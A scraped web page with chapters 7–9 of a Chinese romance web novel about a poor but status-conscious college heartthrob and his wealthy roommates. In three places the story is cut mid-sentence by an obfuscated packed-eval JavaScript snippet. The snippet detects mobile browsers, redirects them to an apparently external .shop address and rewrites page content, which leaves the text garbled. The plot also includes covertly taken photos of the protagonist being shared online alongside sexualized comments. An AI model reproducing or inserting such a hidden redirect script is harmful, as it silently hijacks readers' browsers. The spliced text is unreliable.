《对虚荣直男立陷爱了》
7. 上热门
第二天下午,小组成员临时约在学校附近的奶茶店开会。
闻青延背着双肩包赶到时,两个女生正拿着手机扫码点餐,看见他来了,就拿昨晚的朋友圈调侃他:“校草,我有在论坛帮你投票哦!”
“今早我看了眼,你还是遥遥领先,断层第一。”
闻青延大方笑笑,坐到两个女生对面。
短头发的女生叫谭君雅,是小组组长,她性格很大方热情,闻青延一坐下,她就把手机递过去。
“来的刚好,快看看你想喝什么?大家都选好了。”
闻青延飞快扫了眼菜单,最便宜的奶茶一杯都将近三十。他不动声色地抿抿唇,把手机还给谭君雅,尽量克制眼神,表现得兴致缺缺,“你们喝吧,我不爱喝奶茶。”
组里另一个长发女生盛诗婷靠过来挽住谭君雅,歪头问:“真的不喝啊?”
“嗯,我在戒糖。”
闻青延面对同学的奶茶局邀请一向是用这个理由婉拒。他从双肩包里拿出笔记本电脑和一个保温杯,杯身上还刻着XX届国际大学生计算机设计大赛纪念。
盛诗婷的视线落在他白皙细腻的皮肤上,羡慕道:“好自律,怪不得你皮肤这么好。奶茶只点三分糖已经是我对戒糖最大的决心了。”
没有钱的话,自然就什么都戒掉了。闻青延微笑不语。
“难得组长请客,不能放过这个机会,你不喝我替你喝咯。”盛诗婷冲闻青延眨眨眼,又扭头摇着谭君雅的手臂撒娇,“君雅~闻青延不喝的话,把他那份转移给我吧,我能喝两杯!”
等等……
组长请客吗?
他也想喝奶茶啊!
闻青延看向谭君雅。
“想得美。”谭君雅无情拒绝了盛诗婷,下单前又问了一次闻青延:“要不给你点一杯无糖的?”
坐闻青延旁边的男生组员终于舍得从电脑前抬起头,王俊豪推了推眼镜看着闻青延幽幽说了一句:“无糖的奶茶不如不喝。”
是啊,无糖还喝什么奶茶!他要喝全糖奶茶!
闻青延心里这么想,嘴上却说:“不用,我喝水就好。”
谭君雅没再勉强,提交了订单。
小组作业上次已经分工好了,这次大家主要是线下对齐下进度,讨论一些有分歧问题。
几人一下午聊得口干舌燥,等奶茶喝完,讨论也差不多结束了。
闻青延拧开保温杯,喝了一口温热的白开水。
好寡淡啊……
好想喝奶茶啊……
要不一会悄悄点一杯?
他拿出手机,瞄了眼银行卡的余额,瞬间打消了这个罪恶的念头。
本来寒假爆单接拍摄赚了不少钱,但昨天疗养院例行划扣了下季度的费用后,卡上就没剩多少钱了,还好那次替雷鑫去Moon救场小赚了一笔,但之后的日子还是要精打细算。
闻青延决定push一下经纪人刘艺,给她发消息:
【艺姐,我这学期课表发你了。】
【求商单!(嗷嗷待哺.jpg)】
刘艺可能还在外面跟拍摄,没有马上回复,闻青延放下手机,又喝了一口水。
其实白开水也挺好喝的。
“回去大家把每个模块的内容做好后发到群里@我,我再统一整理吧。”谭君雅把电脑潇洒一盖,“那今天就先到这了。”
终于散会了,闻青延低头收拾东西,打算等会骑自行车去A大附近的菜市场逛逛。
“诶!校草!你上TK热门了!”
他正在脑海里思索买什么菜,盛诗婷突然举着手机往前凑,“这是你吧?这么逆天的身材比例,又是粉头发、冷白皮,我应该没认错吧?”
手机屏幕循环播放着一条视频,画面中的粉发少年身轻如燕,矫健如飞,一路向上攀爬登顶。
“嗯,前两天参加本地一个攀岩社活动。”闻青延点点头,看到视频两百多万赞,也有些惊讶。
这条视频没什么剪辑手法,画面也没有构图或运镜,就是条简单到不能再简单的随手拍,甚至没加bgm,放的是原声,时长还不短,有两分钟多,完播率却高得可怕。
视频突然就爆了,一举冲上热门,被各大营销号竞相转载。
王俊豪这种对运动不感冒的死宅也被闻青延视频里的身手炫到了,“牛啊!延哥,你还会攀岩啊?”
“拿过一些业余的奖项。”闻青延有些得意地扬扬嘴角,“视频里这个其实没有什么技术,就是外行看个热闹。”
“校草,你要红了!我看评论区有人提到你了!”盛诗婷伸手点开评论区。
闻青延定睛一看,果然热评前排就有人认出他了。
:A大校草WQY吧,颜值确实很顶,这拍的还不太上相呢,本人更帅。
谭君雅:“网友都在找帅哥传送门呢。”
“哈哈哈不过闻青延好像不玩TK吧?”盛诗婷记得自己以前问过闻青延的TK号,当时闻青延就说自己不玩。
“你要不要注册个TK号认领一下?”王俊豪有点酸了,“这么大一波流量,接住马上就成大网红了。”
他忍不住感慨:“流量都是钱啊。”
谭君雅不太赞成地看了王俊豪一眼。
虽然闻青延在学校一直很低调,从不提及自己的家庭,但大家还是能从他矜贵的气质、穿衣的品味、细枝末节的修养……看出他是个家境优渥,养尊处优的少爷。校园论坛都默认闻青延是个富哥。
所以谭君雅下意识反驳道:“网红没那么好当,校草也不差这点钱吧。”
其实很缺,闻青延内心默默道。
盛诗婷收回手机,附和谭君雅:“确实,互联网时代,网红根本没有隐私可言,网友连光屁股的满月照都能给你翻出来。”
“人红是非多,还经常会有小学中学同学,七大姑八大姨出来爆黑料。”
“明星有专门的公关团队处理这种,网红一般没这么大手笔……”
闻青延听女生这番对话,也歇了做网红赚流量钱的心思。
-
“嚯,刷到我们新舍友了。”
路知远靠在休息区的沙发上刷手机,正好刷到热门上那条闻青延攀岩的视频。
这家拳击俱乐部周嘉砺有持股投资,专门开辟了一层专属VIP室,留给他平时练拳。
周嘉砺刚下擂台,低头拆拳击手套,漫不经心道:“闻青延?”
“对,之前他在商场攀岩被人拍了发到网上,一下就爆火了。”路知远点击保存视频。周嘉云当时也有录视频,也发了路知远一份,不过两个视频拍摄角度还不一样。
“你找我有事?”周嘉砺把手套脱下,抓了条干净的白毛巾,擦了擦汗。
“我妈让我来接你去个饭局,好像是路家旁支哪个亲戚过寿吧。小姑说她还在国外,叫你代表周家去撑个场子。”
路知远说的小姑就是周嘉砺的母亲路安馨。
大家族人丁兴旺,亲戚关系错综复杂,以周嘉砺周家独子的身份,本来是没人能勉强他捧谁的场,偏偏是他亲妈路安馨,周大少就是再不耐烦人情局也得去应付几句。
等周嘉砺冲了个澡,换了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921378|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身干净的衣服,两人就驱车前往寿宴。
本市的习俗,寿宴办的早,要在天黑前结束。两点就开宴了,这会三点多他们才去。
寿宴地址在本地老牌高端中式餐厅“旧时燕”。这家老字号基本不对外开放预约,只接受熟人引荐,还至少得提前半年预约位置。路家旁支的小辈也是花了点心思才包场置办下来。
明黄色保时捷停在“旧时燕”朱红色的大门外。
路知远从驾驶座上下来,把钥匙丢给门童去泊车。
“这边请。”
穿旗袍的迎宾小姐走在前头给他们引路。她大约是新上岗的员工,没认出两位是熟客,按流程轻声细语地介绍起餐厅历史:“……这处老宅子原先是前朝的亲王府,几经流转被旧时燕的大股东拍下,请了专家团队进行修缮,很多摆设都是股东自己的藏品……”
跟在周嘉砺后面的路知远打了个哈欠,打断她:“我们来过很多次了,不用介绍。”
迎宾小姐礼貌一笑,点点头道:“好的。”她转过脸去专心带路,没再搭话。
几人穿过垂花门,绕过影壁,来到这次摆宴的院子。
角落一棵柿子树下摆了一组石桌石椅。
两个路家旁系的年轻人被长辈派出来等贵客,就坐在那抽烟闲聊。
见周嘉砺和路知远来了,两人赶紧将烟掐了,站起身理了理衣服,迎上来。
“哟,嘉砺跟知远两兄弟来啦!”
这场是家宴,席上的宾客基本都沾亲带故。虽然周嘉砺大多都叫不上名字,但一点不妨碍这些亲戚跟他套近乎。两人一路被簇拥着进了屋子,又被热情地请到主桌入座。
人来了,礼也送到了。
周嘉砺略微沾了沾筷子,打算坐一会就走。他拿出手机正准备处理些工作,低头余光无意扫到两边的手机屏幕都在播放闻青延的视频。
周嘉砺:“……”
他右手边是路知远,不知道他看第几遍了,还拿双指把人放大了看。
左手边的女生叫路秀洁,比他们大几岁,但按辈分要叫表姑婆。她点开评论区一直在翻,嘴里嘟囔:“怎么那么久了还没传送门?这年代难道还真的有人不玩TK?”
路秀洁感觉有人看她,就偏头望过去,结果一眼瞄到路知远也在刷这个视频。
当即找到了共同话题。
“路知远,你也刷到这个帅哥了!”
路知远看见路秀洁手机屏幕上的闻青延也是一愣。
“可惜我翻了好几个视频评论区,都没这个帅哥的传送门。”
“对了,我看评论区有人说他是A大的,你跟周嘉砺好像也是A大的吧?你们认识他吗”
路知远:“我俩跟他同寝。”他指了指自己又指了指周嘉砺。
“这么巧?!”路秀洁,“能把他联系方式推给我吗?”
路知远:“姑婆……你要干嘛?”
路秀洁辈分这么高,要是她想追闻青延……路知远脸色古怪。
“别叫我姑婆!”路秀洁表情一下狰狞了,“放心,我不是要泡他。”
路秀洁撩了撩头发,“我最近新开了一家MCN公司,想签他当达人。”
路知远噢了声,开始翻好友列表。
周嘉砺突然问:“你有他好友?”
路知远:“啊?啊,是啊。闻青延是寝室长,他主动加我,拉我进603寝室群。我当时不是也把你拉进群了吗?”
周嘉砺没再说什么。
路知远把路秀洁的名片推给闻青延,“我跟他简单说了下情况,让他晚点加你。”
8. 装腔作势
闻青延收到路知远的消息时,正在菜市场买菜。
阿姨抓起一把湿漉漉的青菜,放到称上一称。
“五毛钱。要袋子吗?”
“不要,谢谢。”
闻青延坐在自行车上,伸手接过青菜,塞进车把手挂着的购物袋里。他单脚着地,俯身靠在车把手上,拿手机扫了下摊位前的二维码。
“零钱包到账0.5元。”
他顺手点开最新一条消息,路知远给他推了张女生名片。
【闻青延:?】
【路知远:链接】
【路知远:我一个朋友刷到你这条视频,想跟你聊聊。她是开MCN公司的。】
“滴滴——”
刺耳的喇叭声从身后传来。
闻青延回头,骑三轮车送菜的大叔还在按喇叭,竖着眉毛大喊:“让让!让让!”
“抱歉抱歉。”
闻青延快速回了个“1”,把手机息屏踹进兜里,踩上自行车一溜烟拐出了菜市场,骑回学校。
-
A大男生宿舍楼一层的单车棚。
闻青延好不容易才在一排排拥挤的单车里找到一个空位停放,刚锁好自行车,保安兼宿管大爷端着搪瓷杯经过。
他赶紧把露出来的青菜往里购物袋里压了压。
“张叔,吃晚饭了吗?”
“刚吃饱。”张叔狐疑地扫了眼他背在身后的购物袋,问:“袋子里是什么?你不会又买菜了吧?”
“没有,是课本,我刚从教学楼下课回来。”闻青延打了招呼赶紧走。
张叔念叨:“宿舍不允许使用电器做饭,闻青延,别让我抓到你又违规啊!”
“知道了!”
闻青延三步并两步爬上楼,把张叔的话抛在耳后。
他回到宿舍就拿出藏在柜子深处的小电锅,在阳台支起折叠桌摆上,把购物袋里的菜都倒到洗菜蓝里,拧开水龙头冲洗,又翻出菜板、陶瓷刀、围裙,开始做饭。
闻青延套上蓝色碎花围裙,围裙带子在身后系紧,打了个蝴蝶结,掐出一把劲瘦的细腰。
“哗哗哗——”
他捞起洗净的蔬菜沥干,放到菜板上,纤长的手指握着陶瓷刀柄,娴熟地切菜、切肉。
“哚哚哚——”
闻青延的肩头随着切菜的动作起伏微微颤动,蝴蝶结在身后一荡一荡。
他动作利落,很快将切好的肉、菜加入少许调料,分层放进蒸锅,打开电源,就站在一旁玩手机。
闻青延顺手删了几个连续打卡式早晚安的人机好友,滑动消息栏,在一堆硬找话题的闲聊中挑出一些重要消息回复,又想起路知远推过来的名片,加了对方好友。
对面很快通过好友验证,简单地社交辞令后,就直截了当约他见面聊聊,并报了公司签的几个达人。
闻青延按照他发来的ID去搜个平台账号,都是大网红,在绿宝书上搜了下这个体量的达人接广报价,那个数字看得他心脏砰砰跳。
突然几声“咚咚——”屈指敲玻璃的声音。
闻青延以为张叔追上来查违禁物品了,慌乱抬眼,隔着玻璃门对上路知远的眼睛。
原来是舍友。
闻青延松了一口气。
路知远拉开玻璃门,朝闻青延笑,隔空点了点小电锅,一字一字道;“违、禁、物、品。”
闻青延伸出一只手指放在嘴巴中央,做了个嘘声的动作。
“帮忙保密。”
路知远挑挑眉:“怎么还自己做饭啊?”
闻青延:“嗯。”
“新校区食堂也这么难吃吗?”
“怎么不叫外卖?附近的外卖也吃腻了?”
“……还是月底没钱了?”
路知远边说边打量闻青延的神色,“我下次出去吃饭叫上你一起吧,我开车挺方便的。”
“我记得这片区有家omakase就还不错,离学校车程不算远。”
闻青延很久没吃omakase了,他知道路知远说的那家店,在本市排得上名号,不点酒人均都要大几千,以前每次去都要点他们家的枪鱿鱼蘸海胆泥。
闻青延摸摸自己瘪瘪的肚子,淡淡道:“再看吧。”
小电锅冒出团团白雾,食物的香气随之弥漫。闻青延伸手关掉电源,打开锅盖。
路知远扫了眼寡淡的菜色:“怎么就吃这些?”
“健康餐。”闻青延嘴角轻扬,露出一个自律人士的微笑,“我有在兼职模特,平时要做好身材管理。”
“食堂的饭菜重油重盐,外卖的健康餐又不卫生,还是自己做饭比较安心。”
他说完,端着晚饭进去,在自己的书桌前坐下吃饭。
路知远一个人站在阳台,摇摇头轻笑一声。
闻青延长得一副富贵乡里养出来的矜贵模样,确实很唬人,又很会用言语粉饰引导别人的印象。他这个样子也许能骗骗家境普通、涉世未深的同学,但瞒不过路知远这类从小在名利圈子里泡大的有钱人。
路知远一眼就能看穿闻青延很多破绽,他穿的衣服都不上档次,全靠脸蛋和身材撑着质感;床底下的名牌鞋子有好几双logo都不太对劲,虽然经过闻青延二次DIY改造,大多数人只会赞叹他的创意和审美,而忽略了鞋子本身的异常;生活作风也简朴过头,走到哪里都带着水壶,代步工具就是一辆半旧不新的公路车,据说是为了环保……
闻青延装腔作势的样子实在有些好玩,好玩得路知远都不忍心戳破。
-
闻青延手机配饭。
健康餐胜在便宜、健康,这么吃钱包可以负荷,身体营养也能跟上,但实在寡淡无味。他一边机械地扒饭,一边在脑海里回想枪鱿鱼蘸海胆泥的滋味。
路知远又跟过来,双臂靠着上铺床沿,低头问闻青延:“对了,我推给你那名片你加了吗?”
“秀洁姐?我和她正聊着呢。”
路知远摸摸鼻子:“你叫她姐?”
“不然?她不是比我们大几岁吗?”闻青延没注意到路知远的表情,“她也姓路,是你亲姐吗?”
“远亲,她辈分比较高,我要叫她表姑婆。”
“哈哈哈哈哈,那我叫她姐姐,你要叫我什么?”
路知远:“……”
闻青延看了眼新弹出的消息,说:“秀洁姐约我这两天有空一起吃饭。让我问问你和周嘉砺要不要一块来?”
路知远凑近去看手机消息:“我陪你去好了。”
焦浩宇一推门就看见路知远弯腰将闻青延整个人罩在怀里。又听见一句“陪你去”,他眉头一拧,直接问:“青延,你们要去哪?”
这捉奸的语气是怎么回事?
闻青延瞪了焦浩宇一眼,无语道:“关你P事。”
焦浩宇:“……”
焦浩宇意识到自己语气不对,舔了舔后槽牙,才压下心底的烦躁,笑着揭过这茬:“我怕寝室长背着我请新室友吃饭啊。”
“话说,新舍友都搬进来了,我们宿舍是不是该找个时间聚餐欢迎下两个哥们儿。”
不行!
聚你个头,最近超过10块钱的局不要叫他!
闻青延在心底一票否决这个提议。
路知远直起身子,单手插兜,“可以啊,我来请客安排吧!到时大家在宿舍群里把有空的时间都发一下。有什么想吃的或者忌口的也发一下,我让生活助理帮忙预约餐厅。”
……那也不是不行。
闻青延矜持点点头。
焦浩宇看闻青延点头,也跟着点点头。
他回到自己床下桌,靠墙坐下,拿出手机打开蓝X,一款外网社交软件。焦浩宇两年前注册经营的帐号【别冲我老婆】有小几万粉。
起初他只是偶然发现自己居然喜欢上舍友,不敢相信自己就这么弯了,感到憋闷,发了些树洞。
闻青延是直男,他不是没想上手掰过,但眼看跟闻青延献殷勤被当好兄弟,直接莽上去表白,被发好人卡,一个接一个怀春少男在闻青延面前折戟,他也歇菜了。
两人在寝室朝夕相处,焦浩宇想靠近又不敢,想远离又做不到。他甚至自暴自弃摊牌说自己是gay,想着让闻青延疏远自己算了。闻青延知道后却没有什么反应,还拍拍他的肩膀表示理解“我懂,喜欢男的又不是什么男的都喜欢。你放心,我不会这么下头怀疑你喜欢兄弟的。”这态度真是很包容…也很欠.干。
焦浩宇逐渐在沉默中变.态,不知道什么时候起账号上的暗恋树洞开始走向yy,在这里闻青延接受了他的表白,和他出去约会,他们开始恋爱……
因为期间发了几张闻青延的照片,吸来了一些人关注留言。明明每张图他都小心截掉闻青延的脸了,还能这么招蜂引蝶!
那些牲口对着一两张没有脸的照片也能发.情!
“不是,哥们吃这么好?”“发点露骨的看看。”“多少钱?”“什么时候开付费?”“哥,让嫂子也开个号呗。”
焦浩宇厌恶他们觊觎闻青延,又从那些试探性挖墙脚的污言秽语里获得他已经占有了闻青延的错觉,心底升起一丝扭曲的快.感……
-
晚上十一点,【别冲我老婆】发表新动态:
搬来两新舍友,都是富哥。今天回宿舍,看到富哥抱着Q,见到我才松开…
:无能的丈夫?
:等等,Q不是一直白月光不可亵渎人设?怎么这集突然就对富哥投怀送抱?
:不然怎么是富哥?我记得冲哥也挺有钱的吧,能让他叫富哥恐怕不是一般的富了。
:冲哥是不是误会嫂子了?本来就够阴湿了,别再染上捉奸癖了……
:发点成年人能看的,玩呢?这还开付费!
:对得起兄弟的钱吗?尽发些无聊的牢骚,老婆呢?
:黄毛剧情前奏?在为新图预热吗?
:你有新图就赶紧发吧,别整那些有的没的前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921379|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情提要了,冲就完事
:不知道你们期待什么?这哥吃独食呢!都开付费了,发的图还全是些什么嘴巴、手、锁骨局部特写,要不然就是衣服穿得好好的半身照……这也能冲?别太炫压抑了
:滚……你冲不动,你还买付费?
:之前他发个穿衣服的半身照还厚码一堆,搞得兄弟以为是中空,白高兴一场……
:真以为是男友开号呢?我看账号皮下就是Q吧,还故意取这样的ID,专门吸特殊群体的吧?
:Q个烧货立人设呢!
:皮下真是本人的话,你爹建议别搞这些剧情,直接大大方方发点诚意图,也不至于现在才几万粉。
:Q,多少钱能发地址?可以从朋友做起^-^
……
闻青延:“浩宇,焦浩宇——”
“啊?”焦浩宇抬头,下意识把手机锁屏盖在腿上。
“我关灯了,刚刚吹过熄灯哨了。”闻青延穿着睡衣,脚踩拖鞋站在门口,话还没说完,抬手啪一声关掉电灯。
-
灯光熄灭,偌大的房间陷入一片漆黑,只剩下手机屏幕的幽光。
周嘉砺靠在床头,睡前例行清一下消息和邮件。
要点工作消息的时候,手误点开了下面的群聊。十几人的小群,群成员都是他们这圈子里的年轻人,大概是不知道哪次一起聚会时拉的群。周嘉云、路知远、冯煦、刘琦等人都在群里。
周嘉砺很少看群消息,长期开着消息免打扰。他正准备退出去,不小心点到右侧快速定位到近期新消息的小绿键。最上面那条消息是路知远发了一张闻青延的照片。
周嘉砺指尖一顿,点开照片。
照片上闻青延系着围裙在阳台做饭,侧对着镜头,没有发现有人在拍他。
稍长的碎发勾在耳后,他眉眼低垂,长长的睫毛歇落在雪白的面颊上。
夕阳在他身后沉落。
荧屏的幽光打在周嘉砺脸上,照亮他锋利的下颌线。
他静静盯着屏幕,直到手机屏幕无声熄灭。
周嘉砺动了动手指,再次解锁手机,保存了照片,又去看群聊。
:这谁?好像是那天Moon那个天菜?
:斯哈——
周嘉云:这张照片,好温馨、好人夫啊…校草居然还有这么一面?
路知远:人妻。
刘琦:???
周嘉云:???
冯煦:???
路知远:我要追他。
周嘉云:???
刘琦:???
冯煦:???
……
群聊里一连串问号,但路知远没再回复。
看到这里,周嘉砺也面无表情打出一个问号。
周嘉砺:?
他一发消息,平息已久的群聊又炸了。
:路狗搞基的消息还是太震撼了,连砺哥都冒泡了。
:砺哥,你表哥是gay。
:真的假的?咱老路可是路家三代单传啊~
:不是,你们还真信路狗是gay啊?跟我们玩抽象吧。
路知远:不开玩笑,他很对我胃口。
:远哥真铁树开花啦?
:woc!路狗你真的是gay?
:玩个男人有什么好大惊小怪的?长得漂亮,是男是女有什么关系。
:难怪之前给路知远介绍我闺蜜,他都没兴趣。
:远哥多久拿下啊?
:看起来可不好追,家底估计也不错,普通小恩小惠打动不了他吧。
路知远:那你可看走眼了。
:什么意思?
:他这个鞋是A货吧,挺有小巧思的,还重新设计过,不特意看都不容易看出来
:那好办了,直接用钱砸开他心门。
:看不出来啊,路狗喜欢捞子?这一款圈子不多的是?
路知远:他不一样,他很特别。
:有啥特别?说来听听。
路知远:特别漂亮。
:无法反驳。
:无法反驳+1
:无法反驳+2
……
:老路怎么跟这位大小姐@狄千雁一个品味,专爱扶贫。
狄千雁:你懂个der,我就不耐烦跟公子哥谈恋爱,一点服务意识也没有。
狄千雁:记住,贫穷且小捞是帅哥的优点!(重点是帅哥)
狄千雁:远哥回头要是分了,把人介绍给我呗。
周嘉云:校草很高冷的,校园墙表白失败记录一直在增加,至今还没有人拿下他。
:我承认,这哥们不是一般的帅,但咱们路狗,也不是一般的有钱啊。
:一群颜性恋,见色起意,咋那么肤浅呢?难道这群里就剩我跟砺哥是纯直男,不为所动?@周嘉砺
周嘉砺没回,关掉手机,丢到一边。
房间失去最后的光源,重新被黑暗吞没。
9. 上我的车
下课铃响,学生从教室鱼贯而出。
闻青延顺着人流往外走,低头看消息。
【路知远:我在楼下等你。】
他昨天和路知远约好了今天一起去餐厅赴约。
闻青延刚下楼就看见一辆颜色吸睛、造型嚣张的huayra横停在教学楼下,像一头漂亮的野兽趴在路边休憩,就算不认识车标的人也能一眼看出这车身价不菲。
路过的老师、学生都要瞅几眼,还有不少人拿出手机拍,毕竟A大豪车常有,但拉风到这个程度的豪车不常见。
【闻青延:我到楼下了,你人呢?】
闻青延环视一圈没看到路知远的身影,发完消息,视线又不免在这辆超跑上多停留了几秒。
到底哪个现眼包,把超跑开进限速30的校园里?
驾驶座的车窗突然降了下来,露出熟悉的狭长眼。
闻青延:……现眼包竟是我舍友。
闻青延平静地挪开视线,打算当做没看见快步离开,再给路知远发消息,让他去校门口汇合。
但闻青延长得实在扎眼,五官分辨率都比别人高出一大截,走在人群里仿佛不是一个图层,路知远一眼就看见他。
“闻青延,青延——”
四面八方都投来打量的目光。
闻青延:……
他是喜欢出风头,爱装,可装也得装有格调啊!在学校里开扁扁的跑车绝对不符合他的气质,太幼稚了,只有十六七岁的小孩才会喜欢,他已经二十岁了。
当务之急是尽快阻止路知远叫他的名字。
闻青延无奈抬抬手,示意自己听见了,转身走近跑车。
“路学长。”
“闻青延,我叫你好几声了才应,你不会是故意装听不见吧?”路知远手肘搭在车窗上,狐疑地看了他一眼,抬了抬下巴,招呼他:“快上车。”
闻青延不想上车,但这下想走也来不及了。
他长腿一迈,绕过去副驾驶,轻轻一压车门把手,鸥翼门如同海鸥的翅膀缓缓展开,他顺势抬起车门,坐进车内。
路知远刚解开安全带,正准备下车帮他开门,就见闻青延坐到身旁的副驾驶座,顺手关上了车门。
“还担心你不会开车门,想下车帮你开门。”路知远把解开的安全带又扣上。
“我家也有一辆huayra。”闻青延面色如常,“大一的时候我爸买给我的,说等我考到驾照了就能开。”
“平时怎么不见你开?”路知远知道他吹牛呢,但乐得陪他演,“驾照考不下来?”
“没去考驾照。我比较喜欢骑行,低碳环保。”闻青延单手拉过安全带扣好,手指摸过中控台的金属内饰。“不过车确实很漂亮。”
路知远扬扬嘴角,发动车子,引擎声浪咆哮过后,超跑缓慢开出教学楼群。
“听焦浩宇说你爱好骑行,每周末都会拉练几十公里?”
路知远手扶在方向盘上,和闻青延有一搭没一搭地闲聊。
“嗯。”
“一般跑哪条线?下回带上我呗?我也对骑行挺感兴趣的,装备我这边准备就好。”
拉风的超跑在校园路上以龟速前进。
闻青延撑着脸颊看向车窗外,又一辆自行车超过他们。
“不了,我骑车喜欢自己骑,不喜欢结伴。”
路知远随手播放音乐,舒缓的情歌从车载音响内潺潺流出,盖过闻青延的声音。
路知远装作没听见闻青延的拒绝,继续自顾自道:“你那车看着也挺旧了,我给你换一辆,当拜师费,闪电的怎么样?这个牌子你喜欢吗?”
闪电这个牌子算自行车里的第一梯队了,一辆要大几万。
“真的假的?学长这么大手笔啊。”闻青延看向路知远。
几万的自行车跟几千万的豪车当然没得比,但有钱人是有钱又不是傻子,平白无故干嘛给别人花钱?
“骗你干嘛?”路知远轻扬薄唇,“我这人就是喜欢交朋友,谈钱不钱的反而俗气了。”
他用余光瞥了眼闻青延的表情继续道:“你应该懂的吧?像我们这种人有的是钱,交朋友就讲究一个眼缘,好东西不拿出来跟朋友分享就没意思了。”
闻青延笑哼了一声。
路知远一手放下,拍了拍中控台,“这辆车,是我之前跟别人打赌赢的,一直丢在车库里,今天第一次开出来,还以为你会喜欢呢。”
“我本来想着你要是喜欢,正好给你开,不然丢在车库里积灰怪可惜。”
可惜了。闻青延抿抿唇。
“你不爱开?”
“车太多,开不过来。”
“我没驾照。”他想了想又问,“学长都快毕业了,还有时间玩骑行?”
“我又不是周嘉砺那样还没毕业就已经逐步接手家业的工作狂”
“毕业了也不影响我玩啊。”路知远轻笑,“学弟带带我吧。”
“那我下回有骑行计划的时候叫上你。”闻青延顿了顿,补充道:“除了周末。”周末他没空。
路知远:“这周末你有事?”
闻青延:“每个周末我都有事,要约我们只能约周一到周五,课少的时候。”
路知远挑了挑眉。
“嗯?你不是固定每周末骑行吗?”
闻青延避而不答,只说:“周末我有些个人安排。”
“行啊。”路知远表面不太在意,心底却记了一笔,打算回头让人查查,别是跟女生约会……
行什么行……之前说的送闪电活动还算数吗?
闻青延一路上都在想这事,但直到到餐厅了路知远也没重提。
眼见车子熄火,准备下车了。
“那个闪电。”闻青延故作不在意道:“学长,那个闪电就不用了,反正到时候有骑行活动我就叫你。”
路知远眼底闪过一缕笑意,知道闻青延嘴上是这么说,但如果自己真这么应下来,绝对就没有以后的邀约了。
怎么这么好玩,跟过年拒收红包的腼腆小孩似的,还要人哄着。
“不行。”路知远义正严辞道,“不收就是看不起我。你看中哪款直接发我就好,也顺便帮我挑一些装备,我一起下单。”
“好吧。”
等的就是你这句话!闻青延勾了勾唇角。
放心吧,路学长。他一定会在上课、拍摄、攀岩穿插的繁忙日常里努力挤出时间精力带学长骑行的。
-
路秀洁预约了包厢。
服务生帮忙推开门,闻青延发现周嘉砺居然也在。
周嘉砺刚从公司开完会过来,穿得很正式,黑色西服三件套,健硕的肌肉包裹在量身定制的板正西装里,衬衫扣子严严实实扣到最上面,斜纹领带简易打了个四手结。
他旁边坐了位穿着打扮时尚的漂亮女人,应该就是今天的东道主路秀洁。
门一打开,周嘉砺下意识站了起来,用手抚了抚衣摆。
他的视线越过路知远落在其身后的闻青延脸上。
闻青延今天早八,出门得急,头发也没打理,几根粉毛支棱着。
凌乱的刘海下,那双琥珀色的眼睛熠熠生辉。
仿佛阳光往他长长的睫毛上撒落一些闪粉,不然怎么衬得他的眼睛比旁人都要明亮?
周嘉砺和闻青延的眼神轻轻一触便飞快弹开,转而看向路知远。
路知远脸上也流出一丝惊讶:“砺哥也来了?”
路秀洁本来坐在周嘉砺旁边,见他突然一声不吭站起来,也一头雾水跟着起身。
她刚想问周嘉砺搞什么名堂,结果看到闻青延从路知远身后走进来,双眼一亮,什么疑惑都抛到脑后去了。
“hi~闻青延?我是路秀洁,你真人比视频里还帅!”
闻青延:“谢谢。”
路知远摆摆手让服务生退下,亲自伸手帮闻青延拉开椅子,等闻青延入座后,也才慢条斯理坐下。
他对路秀洁露出一个微笑,“怎么不等我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921380|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个中间人帮忙介绍,就自己搭话了。”
“都是年轻人,多余弄这些形式。”路秀洁按铃示意开始上菜。
大圆桌,闻青延两边是路知远和路秀洁,对面就是周嘉砺。
一顿饭下来,闻青延发现周嘉砺几乎不参与话题,也没怎么动筷子,不知道是来干嘛的。
饭后,闻青延被路秀洁拉着聊签约MCN的事情。路秀洁一副恨不得当场把人签下的架势,闻青延没同意,说自己身上还有模特公司的经济约,言语间还流露出对做网红经营自媒体账号的几分顾虑。
路知远插不上话,抬头想跟周嘉砺聊天,却发现周嘉砺在盯着闻青延看。
他心下一惊,面上若无其事,随口问道:“你今天是直接从公司过来的?”
周嘉砺收回视线,漫不经心地点了点头:“过来蹭顿饭,下午正好跟你们一辆车回学校。”
路知远摸摸鼻子:“不巧,今天我开的是两座超跑。”
周嘉砺:“什么?”
周嘉砺以为自己听错了。
“你开两座超跑去学校接人?”
路知远有些尴尬,“唉,我这不是,你懂的。”
路知远开超跑去学校炸场时,一味想着开屏钓鱼了,这会回味过来也觉得有点现眼包,想不通自己当时怎么那么上头。
